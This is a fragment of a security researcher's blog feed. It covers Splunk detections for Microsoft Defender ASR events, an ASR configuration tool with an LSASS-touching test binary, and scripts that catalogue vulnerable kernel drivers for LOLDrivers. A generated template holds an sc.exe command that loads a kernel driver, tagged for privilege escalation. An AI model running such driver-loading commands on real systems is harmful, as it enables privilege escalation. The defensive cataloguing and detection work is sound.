&quot;Audit&quot;, New_Registry_Value==&quot;6&quot;, &quot;Warn&quot;) eval Old_Registry_Value=case(Old_Registry_Value==&quot;0&quot;, &quot;Disabled&quot;, Old_Registry_Value==&quot;1&quot;, &quot;Block&quot;, Old_Registry_Value==&quot;2&quot;, &quot;Audit&quot;, Old_Registry_Value==&quot;6&quot;, &quot;Warn&quot;) stats count min(_time) as firstTime max(_time) as lastTime by host, New_Value, Old_Value, Old_Registry_Value, New_Registry_Value, ASR_Rule `security_content_ctime(firstTime)`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*baHAeDsRkwkCt_4t.png" /></figure><h3>Windows Defender ASR Rule Disabled</h3><p>The following analytic identifies when a Windows Defender ASR rule disabled events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR rule disabled events that are generated when an ASR rule is disabled.</p><pre>`ms_defender` EventCode IN (5007) rex field=New_Value &quot;0x(?\d+)$&quot; rex field=Old_Value &quot;0x(?\d+)$&quot; rex field=New_Value &quot;Rules\\\\(?[A-Fa-f0-9\\-]+)\\s*=&quot; lookup asr_rules ID AS ASR_ID OUTPUT ASR_Rule eval New_Registry_Value=case(New_Registry_Value==&quot;0&quot;, &quot;Disabled&quot;, New_Registry_Value==&quot;1&quot;, &quot;Block&quot;, New_Registry_Value==&quot;2&quot;, &quot;Audit&quot;, New_Registry_Value==&quot;6&quot;, &quot;Warn&quot;) eval Old_Registry_Value=case(Old_Registry_Value==&quot;0&quot;, &quot;Disabled&quot;, Old_Registry_Value==&quot;1&quot;, &quot;Block&quot;, Old_Registry_Value==&quot;2&quot;, &quot;Audit&quot;, Old_Registry_Value==&quot;6&quot;, &quot;Warn&quot;) search New_Registry_Value=&quot;Disabled&quot; stats count min(_time) as firstTime max(_time) as lastTime by host, New_Value, Old_Value, Old_Registry_Value, New_Registry_Value, ASR_Rule `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kMusnDmS6lx2f5FG.png" /></figure><h3>Windows Defender ASR Rules Stacking</h3><p>This hunting analytic targets a range of security events from Microsoft Defender, focusing on the Exploit Guard and Attack Surface Reduction (ASR) features. It monitors specific Event IDs — Event IDs 1121 and 1126 indicate active blocking of unauthorized operations or dangerous network connections, whereas Event IDs 1122 and 1125 represent audit logs for similar activities. Event ID 1129 shows user overrides on blocked operations. For ASR-related activities, Event IDs 1131 and 1133 signal blocked operations, while 1132 and 1134 are audit logs. Event ID 5007 alerts on configuration changes, possibly indicating security breaches.</p><pre>`ms_defender` EventCode IN (1121, 1122, 1125, 1126, 1129, 1131, 1132, 1133, 1134, 5007) | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | stats count min(_time) as firstTime max(_time) as lastTime by host Parent_Commandline, Process_Name, Path, ID, EventCode, ASR_Rule | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xLRqXthn7jaPxnUZ.png" /></figure><h3>Why Should You Care?</h3><p>This blog is a critical resource for cybersecurity defenders, offering an in-depth exploration of Microsoft Defender ASR and its integration with Splunk. It highlights the significance of ASR in shrinking the attack surface, providing step-by-step guidance on deployment, atomic testing methodologies, and advanced monitoring techniques. The insights and practical examples presented are invaluable for understanding and implementing ASR’s protective measures. This knowledge is essential for defenders looking to enhance their cybersecurity posture and develop robust defenses against evolving cyber threats, making it a must-read for professionals in the field.</p><h3>In Summary</h3><p>In conclusion, ASR coupled with Splunk offers an unparalleled advantage in the cybersecurity landscape. Our blog has meticulously detailed how deploying, testing, and monitoring ASR rules within Splunk can significantly enhance an organization’s security posture. By delving into the practicalities of ASR, from its deployment to the intricacies of its rule configurations, we’ve provided a comprehensive guide that empowers defenders to effectively mitigate advanced cyber threats. The Atomic Testing scenarios presented illuminate the real-world efficacy of ASR rules, showcasing their vital role in safeguarding against sophisticated attacks. Integrating these insights with Splunk’s powerful monitoring capabilities creates a robust, proactive defense mechanism. This fusion not only tightens security measures but also equips cybersecurity professionals with the knowledge and tools to stay ahead in an ever-evolving threat landscape. Embracing these practices is not just a strategic move; it’s a step towards fortifying your digital fortresses against the adversaries of tomorrow.</p><h3>Learn More</h3><p>You can find the latest content about security analytic stories on <a href="https://github.com/splunk/security-content/releases">GitHub</a> and in <a href="https://splunkbase.splunk.com/app/3449/">Splunkbase</a>. <a href="https://splunkbase.splunk.com/app/3435/">Splunk Security Essentials</a> also has all these detections now available via push update.</p><p>For a full list of security content, check out the <a href="https://docs.splunk.com/Documentation/ESSOC/3.21.0/RN/Enhancements">release notes</a> on <a href="https://docs.splunk.com/Documentation/ESSOC">Splunk Docs</a>.</p><h3>Feedback</h3><p>Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively, join us on the <a href="https://splunk-usergroups.slack.com/">Slack</a> channel #security-research. Follow <a href="https://docs.splunk.com/Documentation/Community/1.0/community/Chat">these instructions</a> If you need an invitation to our Splunk user groups on Slack.</p><h3>Contributors</h3><p>We would like to thank <a href="https://twitter.com/M_haggis">Michael Haag</a> for authoring this post and the entire Splunk Threat Research Team for their contributions including <a href="https://twitter.com/tccontre18">Teoderick Contreras</a>, <a href="https://twitter.com/mvelazco">Mauricio Velazco</a>, <a href="https://twitter.com/ljstella">Lou Stella</a>, <a href="https://twitter.com/hackpsy">Bhavin Patel</a>, <a href="https://twitter.com/rodsoto">Rod Soto</a>, <a href="https://twitter.com/SnekCharmerr">Eric McGinnis</a>, and <a href="https://twitter.com/bareiss_patrick">Patrick Bareiss</a>.</p><p><em>Originally published at </em><a href="https://www.splunk.com/en_us/blog/security/deploy-test-monitor-mastering-microsoft-defender-asr-with-atomic-techniques-in-splunk.html"><em>https://www.splunk.com</em></a><em> on December 13, 2023.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f4aa302ddf8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ASRGEN: Simplifying Attack Surface Reduction]]></title>
            <link>https://haggis-m.medium.com/asrgen-simplifying-attack-surface-reduction-27d7649fdd8f?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/27d7649fdd8f</guid>
            <category><![CDATA[attack-surface-reduction]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[microsoft]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Fri, 01 Dec 2023 12:01:48 GMT</pubDate>
            <atom:updated>2023-12-01T12:32:33.567Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*PFz615LgDolVhldbZGNSfQ.jpeg" /></figure><p>I am thrilled to announce the formal release of a tool I’ve developed to assist defenders, researchers, and engineers of various fields. Microsoft’s Attack Surface Reduction (ASR) is a powerful feature that has been around for quite some time. There’s extensive discourse on its potential and the numerous blogs outlining ways to bypass it, highlighting the complexity and often cumbersome process of its deployment. The question that often arises is: Which ID is which? How do I test it?</p><p>ASRGEN is designed to streamline this process from start to finish. In this blog, we will cover the following:</p><ul><li><strong>Learn</strong> about ASR, including how to access and review logs, and understand their implications.</li><li><strong>Enable</strong> ASR in one of three modes for enhanced flexibility.</li><li><strong>Test</strong> your ASR policies to generate telemetry traces and ensure they’re functioning as intended.</li><li><strong>🔥 Effortlessly generate a Group Policy Object (GPO) with a touch of excitement. 🤩</strong></li></ul><p>I created ASRGEN out of necessity while navigating the ASR setup. Juggling the various IDs became a formidable challenge — a real pain in the neck. Which rule name corresponds to which ID? Does setting ‘1’ enable, audit, or warn? These questions became a thing of the past with ASRGEN.</p><p><strong>Where to access it: </strong><a href="https://asrgen.streamlit.app/"><strong>https://asrgen.streamlit.app/</strong></a></p><p><strong>Repo: </strong><a href="https://github.com/MHaggis/ASRGEN"><strong>https://github.com/MHaggis/ASRGEN</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUliXXYk4WaUnTld9cK0Vw.png" /><figcaption>ASRGEN</figcaption></figure><p>Most the action is on the streamlit.app site.</p><p>Let’s break down some of the features.</p><h3>ASR Essentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*kulPV2MFIcmHm5kEOPqGCQ.png" /></figure><p>The core of my efforts has been centered on the manipulation of ASR through the Set-MPPreference cmdlet. The essential purpose of this tool is to facilitate a quicker understanding of ASR, offering a speedier reference guide compared to the extensive documentation provided by Microsoft (apologies to the documentarians, but there’s quite a bit to wade through). It’s designed to get users up to speed with ASR, enabling them to grasp its functions and features in a more direct and less time-consuming manner.</p><h3><strong>ASR Configurator</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N1Fp4XMm_PAHc50yY9SBlQ.png" /></figure><p>The Configurator is designed for swift generation of an ASR setup script using Set-MPPreference. What sets it apart is its point-and-click interface, which simplifies the entire process. Setting exclusions is remarkably straightforward—you can select one or many, choose the mode, or even opt to ‘Enable All’ with a single click. I&#39;ve made a conscious effort to ensure that whenever an element requires copy-pasting, it is accompanied by the rule name alongside the ID. This is crucial because managing these IDs can be complex; keeping track of what each one represents can be an overwhelming task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LpFPPp9ItZHREhA2KMxRPg.png" /></figure><h3>ASR Atomic testing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*hAfn80G633_3mCcTVeZI1g.png" /></figure><p>How can you be certain that it’s functioning? In developing ASRGEN, I incorporated tests for each ASR rule — currently featuring around seven. These tests encompass a variety of scenarios, including VBS scripts, macros, C++ programs, and more. They are all designed to give you peace of mind by ensuring that, upon application, the rules are active and effective to some extent. At the very least, you should see an event being generated, which is a clear indicator that the ASR rules are in action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*Pw-OmeZJY0ZqT1VAhG2ZTw.png" /><figcaption>cpp</figcaption></figure><p>This LSASS ‘toucher’ is sufficiently generic to trigger an event when the rule is applied. To streamline the process, I’ve set up a Git workflow that automatically generates the binary when a release occurs. For ease of access, I’ve embedded the URL to the .exe file directly within the interface. Go ahead and give it a try!</p><h3>Two more things: Group Policy</h3><p>Initially, my aim was to use this tool in an isolated, lab-like environment to generate specific ASR events, rule by rule. The feedback was incredibly positive — this tool was a game-changer. However, many asked, “What about Group Policy Objects (GPO)?” Taking this into account, I embarked on some experimentation.</p><p>At first, I attempted to manipulate a GPO backup by modifying the registry.pol file directly. It quickly became apparent, though—this method was not viable; edited .pol files just wouldn&#39;t integrate back into Group Policy as intended.</p><p>That’s when I discovered the power of PowerShell. With it, you can conjure a new object, and, like magic, it appears among your Group Policy Objects!</p><p>And now, the real treat: No more wrestling with obscure IDs and values within the GP editor, no need to memorize which is which. You can simply select the rules you want to enable, specify the mode, and voilà — you can export a nifty PowerShell script to do the heavy lifting. Take a look:</p><p>First, let’s apply two ASR rules and create the Object.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*tKsgYmWPS0AnYF1z21ZYRA.png" /></figure><p>Ok cool — the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*wqukAxLgf1e7b7AzrfAneg.png" /></figure><p>Run it and voila! A new object awaits!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbcFbE9mCeg1JP1_PtjVGw.png" /><figcaption>Yep, tested a lot</figcaption></figure><p>Once you apply the GPO to a OU, you’ll see it in the registry as you would expect:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*zL2ORiahkaKQlDSTnGzTzw.png" /><figcaption>Different policy, same idea though</figcaption></figure><p>Now, I have not tested this in production because my focus is on lab and research. Check it out — let me know how it goes for you!</p><h3>Read a .pol</h3><p>Finally, during my exploration of GPO backups, I stumbled upon a Python module called <a href="https://pypi.org/project/registrypol/">RegistryPol</a>, which worked wonders! I decided to keep this feature accessible within the tool for anyone who might be interested in delving into a .pol file just for the sake of curiosity. Essentially, you can perform a GPO backup, probe into the registry.pol file, upload it, and the contents will be neatly unpacked for your review.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*o8BdnAtuF2_S7mV_3Hoq8w.png" /></figure><h3>Closing Thoughts</h3><p>This project has been an incredibly enjoyable journey, and I sincerely hope it proves to be a valuable asset for many. ASR represents a formidable line of defense, a key tool in our arsenal to thwart various threats. I’m indebted to all the brilliant minds who have explored ASR from both offensive and defensive perspectives; your insights have been immensely educational. While I’m aware that my ASR generator/tool isn’t the only one out there, I’m honored to contribute to this field. I warmly welcome pull requests or the opening of issues on GitHub — any input that can help improve this tool is greatly appreciated. Thank you all, and here’s to successful threat hunting!</p><p><em>Special thanks to </em><a href="https://medium.com/u/aad5aaf11bbb"><em>Nasreddine Bencherchali</em></a><em> for ideas, metal and reviewing.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27d7649fdd8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Behind-the-Scenes Look at Creating LOLDrivers]]></title>
            <link>https://medium.com/magicswordio/a-behind-the-scenes-look-at-creating-loldrivers-4acf566e6373?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4acf566e6373</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[loldrivers]]></category>
            <category><![CDATA[vulnerable-driver]]></category>
            <category><![CDATA[kernel-driver]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Fri, 03 Nov 2023 17:33:44 GMT</pubDate>
            <atom:updated>2023-11-04T02:19:56.981Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IrMIGttGdCEPyS-Y8MthOw.png" /></figure><p>On October 31, 2023, our esteemed colleague, <a href="https://blogs.vmware.com/security/author/takahiro-haruyama">Takahiro Haruyam</a>a of the Carbon Black Threat Analysis Unit (TAU), unveiled groundbreaking <a href="https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html">research</a> that shed light on a critical vulnerability landscape. Haruyama’s team identified 34 distinct drivers, comprising 237 unique file hashes, that were susceptible to unauthorized firmware access. What’s more alarming is that six of these drivers granted kernel memory access, offering unmitigated control over devices to users without administrative privileges. This vulnerability presents a stark reality: attackers with basic access could potentially modify or delete firmware, paving the way for privilege escalation and a multitude of security breaches.</p><blockquote>First, we highly recommend checking out the blog for all the details <a href="https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html">https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html</a></blockquote><p>This blog aims to peel back the curtain and reveal the process the maintainer team employs to import and enrich a vast collection of drivers for LOLDrivers. It’s an inside look into the nuts and bolts of operational cybersecurity — how what seems like a daunting task can be streamlined through the power of automation and strategic tooling.</p><h3>Gather The Hash</h3><p>Streamlining Driver Contributions with Automation</p><p>For modest contributions involving fewer than five new drivers, our <a href="https://loldrivers.streamlit.app/">LOLDrivers Streamlit App</a> should suffice. However, when faced with the task of adding over 200+ hashes, automation becomes a necessity.</p><p>Previously, we’ve relied on converting CSVs into YAML to handle large batches — a method that served us well during the initial stages of LOLDrivers. This time, we are scaling up the process. Our starting point is extracting hashes from the <a href="https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html">blog</a>, where each link points to a VirusTotal (VT) page or a VT Collection. From there, we can download the samples and collect the MD5 hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ep_zNBsvVHuZ9EyB-khJ2Q.png" /></figure><p>We structure our data into a CSV with two columns: md5 and tag. The tag corresponds either to the driver&#39;s name (like stdcdrv64.sys) or to the Tags value in the YAML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*dAomQUkvJ0mYRtnvhC5DcQ.png" /></figure><p>Before generating the YAML, we set some prerequisites. To establish a baseline, we manually created the initial YAML files using the LOLDrivers platform, which then served as templates for automation.</p><p>Our automation effort led to the development of a basic Python script that performs the following functions:</p><ol><li>Loads the CSV and generates a new YAML file for each unique tag.</li><li>Aggregates multiple hashes under a single YAML if they share the same tag.</li><li>Populates the md5 field under knownvulnerablesamples in each YAML file.</li></ol><p>Here is the script that automated the YAML generation process:</p><pre>import csv<br>import yaml<br>import uuid<br>from collections import defaultdict<br>from pathlib import Path<br><br>csv_file_path = &#39;list.csv&#39;<br>tag_to_md5s = defaultdict(list)<br><br>with open(csv_file_path, mode=&#39;r&#39;, newline=&#39;&#39;, encoding=&#39;utf-8&#39;) as csvfile:<br>    reader = csv.DictReader(csvfile)<br>    for row in reader:<br>        tag_to_md5s[row[&#39;tag&#39;]].append(row[&#39;md5&#39;])<br><br>for tag, md5s in tag_to_md5s.items():<br>    id_guid = str(uuid.uuid4())<br><br>    service_name = &#39;&#39;.join(char for char in tag if char.isalnum() or char in (&#39; &#39;, &#39;-&#39;, &#39;_&#39;)).rstrip()<br>    service_filename = f&quot;{service_name}.sys&quot;<br><br>    yaml_template = {<br>        &#39;Id&#39;: id_guid,<br>        &#39;Author&#39;: &#39;Takahiro Haruyama&#39;,<br>        &#39;Created&#39;: &#39;2023-11-02&#39;,<br>        &#39;MitreID&#39;: &#39;T1068&#39;,<br>        &#39;Category&#39;: &#39;vulnerable driver&#39;,<br>        &#39;Verified&#39;: &#39;TRUE&#39;,<br>        &#39;Commands&#39;: {<br>            &#39;Command&#39;: f&#39;sc.exe create {service_name} binPath= C:\\windows\\temp\\{service_filename} type=kernel &amp;&amp; sc.exe start {service_name}&#39;,<br>            &#39;Description&#39;: &#39;The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.&#39;,<br>            &#39;Usecase&#39;: &#39;Elevate privileges&#39;,<br>            &#39;Privileges&#39;: &#39;kernel&#39;,<br>            &#39;OperatingSystem&#39;: &#39;Windows 10&#39;,<br>        },<br>        &#39;Resources&#39;: [<br>            &#39;https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html&#39;<br>        ],<br>        &#39;Acknowledgement&#39;: {<br>            &#39;Person&#39;: &#39;&#39;,<br>            &#39;Handle&#39;: &#39;&#39;,<br>        },<br>        &#39;Detection&#39;: [],<br>        &#39;KnownVulnerableSamples&#39;: [<br>            {<br>                &#39;Filename&#39;: &#39;&#39;,<br>                &#39;MD5&#39;: md5,<br>                &#39;SHA1&#39;: &#39;&#39;,<br>                &#39;SHA256&#39;: &#39;&#39;,<br>                &#39;Signature&#39;: &#39;&#39;,<br>                &#39;Date&#39;: &#39;&#39;,<br>                &#39;Publisher&#39;: &#39;&#39;,<br>                &#39;Company&#39;: &#39;&#39;,<br>                &#39;Description&#39;: &#39;&#39;,<br>                &#39;Product&#39;: &#39;&#39;,<br>                &#39;ProductVersion&#39;: &#39;&#39;,<br>                &#39;FileVersion&#39;: &#39;&#39;,<br>                &#39;MachineType&#39;: &#39;&#39;,<br>                &#39;OriginalFilename&#39;: &#39;&#39;<br>            }<br>            for md5 in md5s<br>        ],<br>        &#39;Tags&#39;: [tag]<br>    }<br><br>    output_filename = f&quot;{id_guid}.yaml&quot;<br>    with open(output_filename, &#39;w&#39;, encoding=&#39;utf-8&#39;) as yamlfile:<br>        yaml.dump(yaml_template, yamlfile, default_flow_style=False)<br><br>print(&quot;YAML files have been generated based on tags.&quot;)</pre><p>After running the script, it successfully generated all the YAML files, including those with multiple MD5 hashes as required into a single YAML file.</p><h3>Sidebar: Standardizing File Names</h3><p>During the process, we had to rename all samples in the project drivers directory to a standardized naming convention — md5.bin. This was accomplished using another Python script that recalculated MD5 hashes for each file and renamed them accordingly.</p><pre>import os<br>import hashlib<br>from pathlib import Path<br><br>directory_path = &#39;../drivers&#39;<br><br>def calculate_md5(filename, block_size=4096):<br>    &quot;&quot;&quot; Calculate the MD5 hash of a file. &quot;&quot;&quot;<br>    md5 = hashlib.md5()<br>    with open(filename, &#39;rb&#39;) as f:<br>        for block in iter(lambda: f.read(block_size), b&#39;&#39;):<br>            md5.update(block)<br>    return md5.hexdigest()<br><br>for filename in os.listdir(directory_path):<br>    file_path = os.path.join(directory_path, filename)<br>    if os.path.isdir(file_path):<br>        continue<br>    file_md5 = calculate_md5(file_path)<br>    new_file_name = file_md5 + &#39;.bin&#39;<br>    new_file_path = os.path.join(directory_path, new_file_name)<br>    # Rename the file<br>    os.rename(file_path, new_file_path)<br>    print(f&quot;Renamed {filename} to {new_file_name}&quot;)<br><br>print(&quot;All files have been renamed to their MD5 hash with a .bin extension.&quot;)</pre><p>The process was straightforward: the script renamed each file from its original name to an MD5 hash with a .bin extension.</p><h3>From Hash to Metadata Enrichment</h3><p>With the YAML files ready, we leveraged an exceptional script, originally contributed by <a href="https://medium.com/u/aad5aaf11bbb">Nasreddine Bencherchali</a>, named metadata-extractor.py. This script performs the remarkable task of enriching the metadata visible within the YAML files or the user interface. The script works by getting the MD5 from the yaml and finding the .bin matching. It then loads it up using <a href="https://lief-project.github.io/">lief</a> and we then extract <em>everything.. well mostly </em>(i’m sure we’re missing some things).</p><p>Execution is as simple as running the following command:</p><pre>python3 bin/metadata-extractor.py -y yaml -d drivers</pre><p>stdout:</p><pre>    [*] NOTICE - The File yaml/dbb58de1-a1e5-4c7f-8fe0-4033502b1c63.yaml Was Enriched<br>    [*] NOTICE - The File yaml/3aa6e630-59be-4a15-a30c-aaed4c1edaf0.yaml Was Enriched<br>    [*] NOTICE - The File yaml/ebdde780-e142-44e7-a998-504c516f4695.yaml Was Enriched<br>    [*] NOTICE - The File yaml/b759adfa-b353-4ca3-9dfb-8fadf7a437eb.yaml Was Enriched<br>    [*] NOTICE - The File yaml/0c0198a3-5c63-4a9b-abe9-88a810602329.yaml Was Enriched<br>    [*] NOTICE - The File yaml/1aeb1205-8b02-42b6-a563-b953ea337c19.yaml Was Enriched<br>    [*] NOTICE - The File yaml/babe348d-f160-41ec-9db9-2413b989c1f0.yaml Was Enriched<br>    [*] NOTICE - The File yaml/5f70bde4-9f81-44a8-9d3e-c6c7cf65bfae.yaml Was Enriched<br>    [*] NOTICE - The File yaml/a08ee79f-801d-4b98-996f-55f6a72ac5f7.yaml Was Enriched<br>    [*] NOTICE - No enrichment was performed on yaml/d05a0a6c-c037-4647-99ac-c41593190223.yaml<br>    [*] NOTICE - The File yaml/e368efc7-cf69-47ae-8204-f69dac000b22.yaml Was Enriched<br>    [*] NOTICE - No enrichment was performed on yaml/7196366e-04f0-4aaf-9184-ed0a0d21a75f.yaml<br>    [*] NOTICE - The File yaml/6356d7d9-3b82-4731-9d5f-cc9bc37558fc.yaml Was Enriched<br>......</pre><p>Now the MD5 in the yaml is completely enriched —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i64goBbAMjLeLODMJjEwOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DuzbgZy17wfhIiPG06sdPw.png" /></figure><p>Now with enriched metadata, our next step is to incorporate YARA rules and update all detections accordingly.</p><h3>YARA Generator and Enrichment</h3><p>Having extracted the metadata and enriched the YAML files, our subsequent action is to augment this data with YARA rules. The yara-generator.py script creates YARA rules based on the drivers and YAML files and outputs them to the detection directory. Our good friend <a href="https://medium.com/u/2fdc032a69b3">Florian Roth</a> contributed this and it works awesome!</p><p>Make your way to bin/<a href="https://github.com/magicsword-io/LOLDrivers/tree/main/bin/yara-generator">yara-generator</a> and run a simple command to generate the Yara rules:</p><pre>python3 yara-generator.py -d ../../drivers -y ../../yaml -o ../../detections/yara</pre><p>This will read the drivers+yaml and output to the yara detection directory. When this runs, it looks like this:</p><pre>[INFO ] [+] Processing 1 driver folders<br>[&#39;../../drivers&#39;]<br>[INFO ] [+] Processing 1 YAML folders<br>[INFO ] [+] Processing 1821 sample files<br>....</pre><p>and then it goes brrrrrrrrrr ripping through the binaries and outputs to the detections/yara directory.</p><p>Following YARA generation, we employ enrich_with_yara to embed the YARA rule URLs within the YAML files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rq3DTCWQdT5dbIJGZC8W2Q.png" /></figure><h3>Generate Site</h3><p>To ensure everything is in order, we execute a site generation script that builds the site data, typically run as a validation step before merging a PR. The script compiles CSV and JSON files for the API, markdown files for the website, and all related content, successfully populating the <a href="https://loldrivers.io/">LOLDrivers.io</a> site.</p><pre>python3 bin/site.py<br><br>site_gen.py wrote 430 drivers markdown to: loldrivers.io/content/drivers/<br>site_gen.py wrote drivers CSV to: loldrivers.io/content/api/drivers.csv<br>site_gen.py wrote drivers JSON to: loldrivers.io/content/api/drivers.json<br>site_gen.py wrote drivers table to: loldrivers.io/content/drivers_table.csv<br>site_gen.py wrote drivers publishers to: loldrivers.io/content/drivers_top_n_publishers.csv<br>site_gen.py wrote drivers products to: loldrivers.io/content/drivers_top_n_products.csv<br>finished successfully!</pre><p>This generates the csv and json for the API, all the markdown files for the site and everything related to the LOLDrivers.io site.</p><h3>Final Result</h3><p>In the end, we have a PR ready to be merged:</p><p><a href="https://github.com/magicsword-io/LOLDrivers/pull/149">Vmware + Meta Updates by MHaggis · Pull Request #149 · magicsword-io/LOLDrivers</a></p><p>Now merged, we have the new pages:</p><pre>https://www.loldrivers.io/drivers/0f749d4e-145e-4b8e-bea6-47003d228043<br>https://www.loldrivers.io/drivers/2a7a59c1-35b8-42b6-a560-2fbf4247a584<br>https://www.loldrivers.io/drivers/2b918b1a-badb-4a85-9214-961607b21219<br>https://www.loldrivers.io/drivers/36227ce7-2bf6-4963-bfae-c399000a1079<br>https://www.loldrivers.io/drivers/3aa6e630-59be-4a15-a30c-aaed4c1edaf0<br>https://www.loldrivers.io/drivers/3d7da79b-fe34-45cd-a0c9-d4432d40611c<br>https://www.loldrivers.io/drivers/4f0a65a7-9a01-40cb-8d95-0844515103e6<br>https://www.loldrivers.io/drivers/4f47c65e-2e73-4855-813a-5a823ae845a8<br>https://www.loldrivers.io/drivers/5901421f-7929-487d-87bd-632f29290352<br>https://www.loldrivers.io/drivers/62f76f62-ef82-49ea-a26f-36e5727e8d83<br>https://www.loldrivers.io/drivers/7bb4d807-9a66-48ff-9fb7-82780f3b015e<br>https://www.loldrivers.io/drivers/837ad058-65f4-4b75-8f21-b842e48db8a5<br>https://www.loldrivers.io/drivers/8ecc8439-0554-40d0-9130-c02941deadbe<br>https://www.loldrivers.io/drivers/933f5671-e995-4976-8392-52d34dcd4e05<br>https://www.loldrivers.io/drivers/942f58d2-1300-4957-98a0-5f8d601bf55b<br>https://www.loldrivers.io/drivers/9543c507-9b10-4de8-89b9-42a4f24c99ec<br>https://www.loldrivers.io/drivers/97ed6c7b-be4c-4f60-9157-c788a555ca9f<br>https://www.loldrivers.io/drivers/9bf033e4-7295-4b63-8772-638b76851741<br>https://www.loldrivers.io/drivers/a08ee79f-801d-4b98-996f-55f6a72ac5f7<br>https://www.loldrivers.io/drivers/a3c52cbe-90ca-432c-9520-761b60e7d9cb<br>https://www.loldrivers.io/drivers/a4795ab6-d908-44cf-9ebf-a47db367d385<br>https://www.loldrivers.io/drivers/b0dedc3f-6e4b-497a-aade-390cbf4beebb<br>https://www.loldrivers.io/drivers/b8339454-0e84-4a5b-92d0-6a626ced6677<br>https://www.loldrivers.io/drivers/c08c03ff-a7b7-4282-a9fc-265ae88dc244<br>https://www.loldrivers.io/drivers/c4eab0c0-caf2-42b9-84f1-b4690d3db0d4<br>https://www.loldrivers.io/drivers/cf805b21-4611-4983-a8b6-271373a45057<br>https://www.loldrivers.io/drivers/dc3fdbd3-601a-4d2a-bf34-d2e84c6ff1d3<br>https://www.loldrivers.io/drivers/e769d1f6-8a38-426f-b5e7-447241204ee1<br>https://www.loldrivers.io/drivers/f16f82de-1ad0-47d8-a869-2c10ed25d9f1<br>https://www.loldrivers.io/drivers/f33c2e80-7b01-416b-821a-ed06db4b6511<br>https://www.loldrivers.io/drivers/f92f4c60-b39c-4726-ba74-dcab7f653ae2<br>https://www.loldrivers.io/drivers/fa612342-5ae0-4e69-ad9c-14d574d9fb1e<br>https://www.loldrivers.io/drivers/fb783760-cb3f-4cf4-b4ac-8edb756b9821<br>https://www.loldrivers.io/drivers/fda3ff67-12dc-488c-a4c2-603f5bf420bd<br>https://www.loldrivers.io/drivers/fded7e63-0470-40fe-97ed-aa83fd027bad```</pre><h3><strong>Thank You</strong></h3><p>We trust this blog has shed light on the diverse automation techniques the LOLDrivers.io maintainers employ to handle a voluminous set of data efficiently. Bringing our narrative to a culmination, it’s pivotal to recognize the evolution of our processes. The journey we’ve undertaken has seen the transformation of meticulous manual tasks into a seamless operation, a confluence of scripts working in unison to compile hashes, generate YAMLs, rename binaries, and enrich metadata.</p><blockquote>We want to also thank all of the Carbon Black Threat Analysis Unit (TAU) team and <a href="https://blogs.vmware.com/security/author/takahiro-haruyama">Takahiro Haruyam</a>.</blockquote><p>This transition has not only accelerated our workflow but has also underscored our dedication to enhancing LOLDrivers.io. As we look towards the horizon, our resolve to refine and advance our capabilities is unyielding. We warmly extend an invitation to the community to partake in this endeavor — to contribute, to collaborate, and to collectively elevate the safety and integrity of drivers 